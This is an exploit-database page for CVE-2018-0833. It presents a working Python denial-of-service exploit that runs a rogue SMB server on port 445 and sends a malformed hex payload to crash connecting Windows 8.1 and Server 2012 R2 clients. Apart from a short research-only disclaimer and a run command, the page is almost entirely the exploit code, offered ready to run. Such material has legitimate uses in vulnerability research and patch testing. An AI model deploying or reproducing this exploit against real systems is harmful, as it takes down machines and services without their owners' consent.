Materialized exploit

CVE-2018-0833

MEDIUM

1 public exploit(s) for this CVE, 1 materialized with their code.

For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.

ExploitDB dos windows Verified

Source

Microsoft Windows 8.1/2012 R2 - SMBv3 Null Pointer Dereference Denial of Service

By Nabeel Ahmed

How to test this exploit

Denial of service: sends malformed input to crash the service. Test in an isolated VM, the effect is destructive.

python3 44189.py

Code py

# Exploit Title: Microsoft Windows SMB Client Null Pointer Dereference Denial of Service
# Date: 26/02/2018
# Exploit Author: Nabeel Ahmed
# Version: SMBv3
# Tested on: Windows 8.1 (x86), Windows Server 2012 R2 (x64)
# CVE : CVE-2018-0833

import SocketServer
from binascii import unhexlify
payload = '000000ecfd534d4241414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141'
class byebye(SocketServer.BaseRequestHandler):
        def handle(self):
                try:
                        print "From:", self.client_address
                        print "[*]Sending Payload..."
                        self.request.send(unhexlify(payload))
                except Exception:
                        print "BSoD Triggered on", self.client_address
                        pass
SocketServer.TCPServer.allow_reuse_address = 1
launch = SocketServer.TCPServer(('', 445),byebye)
launch.serve_forever()